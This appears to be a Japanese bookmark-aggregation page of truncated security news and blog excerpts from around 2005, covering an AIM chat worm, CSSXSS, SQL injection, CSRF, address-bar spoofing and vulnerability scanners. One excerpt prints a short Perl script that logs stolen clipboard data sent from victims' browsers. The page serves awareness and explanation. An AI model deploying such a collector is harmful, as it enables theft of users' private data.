IM攻撃がさらに進化--ユーザーとチャットするワームが出現
とうとうワームとチャットする時代がやってきてしまった。 America Online（AOL）が提供するインタントメッセージング（IM）サービス「AOL Instant Messenger（AIM）」のユーザーを狙うワームが出現した。IMセキュリティベンダーのIMlogicによると、これは標的にしたユーザーと実際にチャットをして、悪質なプログラムを実行するようにユーザーをそそのかす初めてのワームだという。 IMlogicによると、「IM.Myspace04.AIM」と呼ばれるこのワームは、ユーザーに「lol thats cool（クールで、面白いよ）」というメッセージと、悪質なファイル「clarissa17.pif」へのURLリンクを送りつけるという。ユーザーがこれに対し、リンク先にウイルスが含まれているのではないかと返信すると、ワームは「lol no its not its a viru
CSSXSSでmixiのpost_keyをゲットする例 :: ぼくはまちちゃん！
[2005/12/06 13:00] できなくなった。対応したのかな。 [2005/12/06 18:00] できるじゃん。 なおってないよ＞＜ たとえば、これを使って mixiの名前とかamazonの「ようこそxxxxさん」とかを一緒にサーバに保存して超足あと帳とかどう？ (もしそういう穴があるのなら) やっぱり、かなり怖い気がする！！ [2005/12/07くらい] なおってるよ！ { がすべて { に変換されてでてくるようになった！
Google Desktopユーザーもあぶない--IEの脆弱性で情報漏出のおそれ
MicrosoftのInternet Explorer（IE）にある脆弱性を悪用して、Googleのデスクトップ検索ツールを利用するユーザーの情報を盗み出す方法を、イスラエルのあるセキュリティ研究者が発見した。 このMatan Gillonという研究者は米国時間11月30日、このハッキング方法に関する解説を公表したが、それによるとIEがCSS（Cascading Style Sheets）を処理する方法にバグがあるという。CSSとは複数のウェブページに共通のスタイルを設定する手法を指す。CSSを使ったウェブページのデザイン手法は、数多くのサイトで利用されている。 この概念実証手法は、あるソフトウェアの脆弱性が、PC上に存在するすべてのプログラムに影響を与える一例で、これらのプログラムのなかにはGoogle Desktopも含まれる。 「IEのなかにある設計上の脆弱性により、攻撃者がユーザー
ＳＱＬインジェクション対策をするから起こる、セカンドオーダーＳＱＬインジェクションとその対策 - ウィリアムのいたずらの、まちあるき、たべあるき
ウィリアムのいたずらが、街歩き、食べ物、音楽等の個人的見解を主に書くブログです（たま～にコンピューター関係も） またまた「日経システム構築」ネタで申し訳ないのだが今月号（２００５年１２月号）の３１ページにセカンドオーダーＳＱＬインジェクションという方法がある。 これは、ＳＱＬインジェクションを防ぐのに、外部から受け取るパラメータだけ、サニタイジングしたときにおきる。 具体的に、その方法について、以下日経システム構築に書かれているのを紹介すると （斜体部がそこからの引用で、ふつうの字体はウィリアムのいたずらの説明） ■■ 前提知識 ・ＳＱＬにおいて、１行コメントを書くには -- をつけるとかける（以下コメントになる） ・文字列は'で囲む ・ＳＱＬインジェクション対策として、サニタイジングを行った場合、'はエスケープされ、'を含む文字も登録することができる ■■ 方法 ・はじめに admin'
無償のWeb脆弱性テストツールとＷｅｂアプリケーションファイヤウォールなどなどの話 - ウィリアムのいたずらの、まちあるき、たべあるき
ウィリアムのいたずらが、街歩き、食べ物、音楽等の個人的見解を主に書くブログです（たま～にコンピューター関係も） 日経システム構築２００５年１２月号に載っていた、Ｗｅｂの脆弱性の調査ツールなどなどの記事について、 日経システム構築に載っているサイトって、わかりにくいページがのっていたり、使い方のページが載っていないので、使い方がわかんなーい！と思うので、ここで、フォローしてみたりする。 無償の脆弱性テストツール：自動的にテストしてくれる ■■ Nessus ここ http://www.nessus.org/ 使い方の説明についてなどは、 【連載 】高機能スキャナ「Nessus」を使ったセキュリティ診断 ■■ Nikto ここ http://www.cirt.net/code/nikto.shtml 使い方の説明についてはこんなところ http://kinshachi.ddo.jp/kurag
あなたのクリップボードが盗まれる - Ceekz Logs
IE には、便利な機能がある。それは、スクリプト（JavaScript etc..）でクリップボードの操作ができるのだ。clipboardData というオブジェクトね。操作できる内容は、クリップボードにデータを読み込むこと（setData）、読み出すこと（getData）、消去すること（clearData）の3種類。 読み出すことも可能なんですよね。しかも、デフォルトでは、警告すら出ない。 以下のような、プログラムを準備しよう。 #!/usr/bin/perl use strict; my $file = '/tmp/cb.txt'; open (CB, ">> $file"); print CB "$ENV{'QUERY_STRING'}\n"; close (CB); print "Status: 301 Moved Permanently\n"; print "Location:
高木浩光＠自宅の日記 - 攻撃者視点ではなく開発者視点での解説を
■ 攻撃者視点ではなく開発者視点での解説を 8月に@ITに「機密情報に合法的に近づけるWebアプリケーションを守れ」という記事が 出ていた。 タイトルからして意味がわからない。「合法的に近づける」とは何だ？ 英文 の直訳か何かか？ その連載第2回「多様化するWebアプリケーションへの攻撃」が今日掲載されたのだが、問題を正しく理解し ないまま書かれた記事と言わざるを得ない。例えば次のように書かれている。 この例では、「userid=-20298745283」がクエリストリング にあたる。クエリストリングはURL内に含まれているため、誰でも見ることが できる。従って、ユーザーのちょっとした出来心やいたずら（例えば 「この数字の最後を1つだけずらせばどうなるかなー？」） によって、脆弱性が露見することも多い。 この例であれば、誰が見ても明らかなように、「userid」のパラメー タがユーザー管理
アイ・オー・データ、ポータブルハードディスクにウイルスが混入
アイ・オー・データ機器は11月22日、ポータブルハードディスク「HDP-Uシリーズ」の一部製品型番の特定ロットにウイルスが混入している可能性があると発表した。 今回の発表によると、HDP-Uシリーズに混入したのはワーム型ウイルス「WORM_TOMPAI.A」。ネットワーク感染／バックドア活動／情報漏洩／IEのセキュリティ設定低下といった影響を及ぼすトロイの木馬型不正プログラムだ。 ウイルス混入の可能性がある製品型番とシリアル番号の範囲は以下のとおり 型番「HDP-U40（JANコード：4957180059693）」 シリアル番号：YBS0000001xxからYBS0005520xx 型番「HDP-U60（JANコード：4957180059709）」 シリアル番号：YBT0000001xxからYBT0001000xx 型番「HDP-U80（JANコード：4957180059716）」 シリア
アドレスバー偽装 - 星澤裕二メモ
アドレスバーに表示されるURLを確認することはフィッシング詐欺対策として有効である。しかし、万全な対策というわけではない。アドレスバーが偽装されている可能性があるからだ。アドレスバーの偽装には二通りある。ひとつは、ブラウザのセキュリティホールを利用したもの。もうひとつは、JavaScriptなどを使って偽装する方法だ。デンマークSecuniaのWebサイトには、下表のようにアドレスバーの偽装を可能にするセキュリティホールが複数公開されている。パッチをあてるなどセキュリティホールへの対処をしていないブラウザを使用している場合、アドレスバーに表示されるURLは信用できないものとなる。 対象ソフトウェア 公開日 管理番号 URL IE 2004-08-16 SA12304 http://secunia.com/advisories/12304/ Mozilla, Firefox 2004-07-
CSRF | 鳩丸ぐろっさり (用語集)
用語「CSRF」についてCSRF (しーえすあーるえふ)話題 : セキュリティ CSRF は Cross Site Request Forgeries の略です。"forgery" は偽造の意味で、サイトをまたがって捏造された攻撃リクエストを送信する、という程度の意味になります。 ※ちなみに、CSRF は「シーサーフ」と発音するのだという説もありますが、少なくとも日本では「しーえすあーるえふ」と呼ぶ方が主流のようです。 たとえば、blog などは Web 上の管理画面で記事の削除ができるようになっています。削除を実行するには、削除を行うような HTTP のリクエストをサーバに送れば良いのですが、この画面は Cookie なり、Basic 認証なりでアクセス制御がされています。そのため、正規のユーザ以外が削除のリクエストを送っても何も起きません。ログイン済みの正規のユーザが「削除」のリクエス
ビジネスリサーチの心得
2．ビジネスリサーチの情報収集 デスクトップ調査 の基本〜アニュアルレポートなど公開情報から… デスクトップ調査 とは、主にインターネットなどを使用して、公開情報を調査して整理・分析を行うものです。「CIAも収集する情報の95％が公開情報」ということで、情報不足とい… 2021.01.28 2021.05.13 1915 view コラム〜リサーチャーの日常 人生を通じてマッチクオリティーを追求する 知識の幅が最強の武器になる という本で初めて知った「 マッチクオリティー 」という言葉は、経済学の用語で、ある仕事をする人とその仕事がどれくらい合っているか、その人の能力… 2021.05.04 2021.05.13 295 view 2．ビジネスリサーチの情報収集 日常的な情報収集・整理術（Feedly＋Dropbox） 【 ビジネス 情報収集 と 情報整理 の基本 】いま目の前にあるリサー
【速報】サイボウズのWebサイトが全面停止、不正アクセスの可能性
サイボウズのWebサイト（http://cybozu.co.jp/）が、11月10日23時の時点で全面停止している。同社は「不正アクセスの可能性が検知されましたため、可能性のあるサーバーを全面停止のうえ、緊急メンテナンスを行っております」とのコメントを、Webサイト上で掲載している。 同社マーケティングコミュニケーション部によると、「10日の18時過ぎに不正アクセスの可能性を検知したため、サーバーを全面停止した。原因は現在調査中で詳しいことはお話しできない」としている。なお、同社のブログやRSSリーダー機能を提供するサイト（http://cybozu.net/）は10日23時30分の時点では、通常通り稼働している。
シマンテック：「Mozillaブラウザの脆弱性、IEを上回る」
Symantecが公表したレポートによると、Mozillaの開発するウェブブラウザのほうが、MicrosoftのInternet Explorer（IE）よりも、攻撃に悪用される可能性のある脆弱性が多いという。 ただし、米国時間19日にリリースされたこのレポートから、ハッカーが依然としてIEに焦点を合わせていることもわかった。 人気の高いFirefoxをはじめとするMozillaの各ブラウザは、一般的にセキュリティ関連の多くの問題を抱えてきたIEより安全だと見なされていた。Mozilla FoundationプレジデントのMitchell Bakerは今年に入って、Mozillaの各ブラウザのほうがIEより根本的に安全だと述べていた。同氏はまた、Mozillaの各ブラウザはマーケットシェアが拡大してもIEほど多くの問題に直面しない、との予測も示していた。 だが、Symantecが発表した「
高木浩光＠自宅の日記 - やってはいけないセキュリティ設定指示 Top 15 （Windows XP SP2編）, SSL 2.0でないと接続できないサイトにアクセスするとどう..
■ SSL 2.0でないと接続できないサイトにアクセスするとどうなるか 昨日の日記は、 必要もないのにSSL 2.0を有効にせよと指示しているサイトの例だったが、 本当にSSL 2.0でないとアクセスできないサイトというのは、どうやら非常に 珍しいようで、探してもそうそう見つかるものでもない。 次のサイトがひとつ見つかったので、SSL 2.0をオフにしてここにアクセスし てみると、どんな結果になるか体験できる。 https://www.hellowork.go.jp/ FirefoxでSSL 2.0をオフにして上のURLにアクセスすると下の図の警告が出る。 OpenSSLのdebugモードで接続してみたところ次のようになった。 $ openssl s_client -debug -connect www.hellowork.go.jp:443 CONNECTED(00000003) wri
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く
JavaScript++かも日記 - 1997年からの
マイクロソフト、ウイルス駆除ツールで20万以上の「Antinny」を駆除
http://www.machu.jp/posts/20050308/p01/
http://sample-code.net/modules/xfsection/article.php?articleid=6
安全なWebアプリ開発の鉄則 2004
http://hotwired.goo.ne.jp/news/technology/story/20040818303.html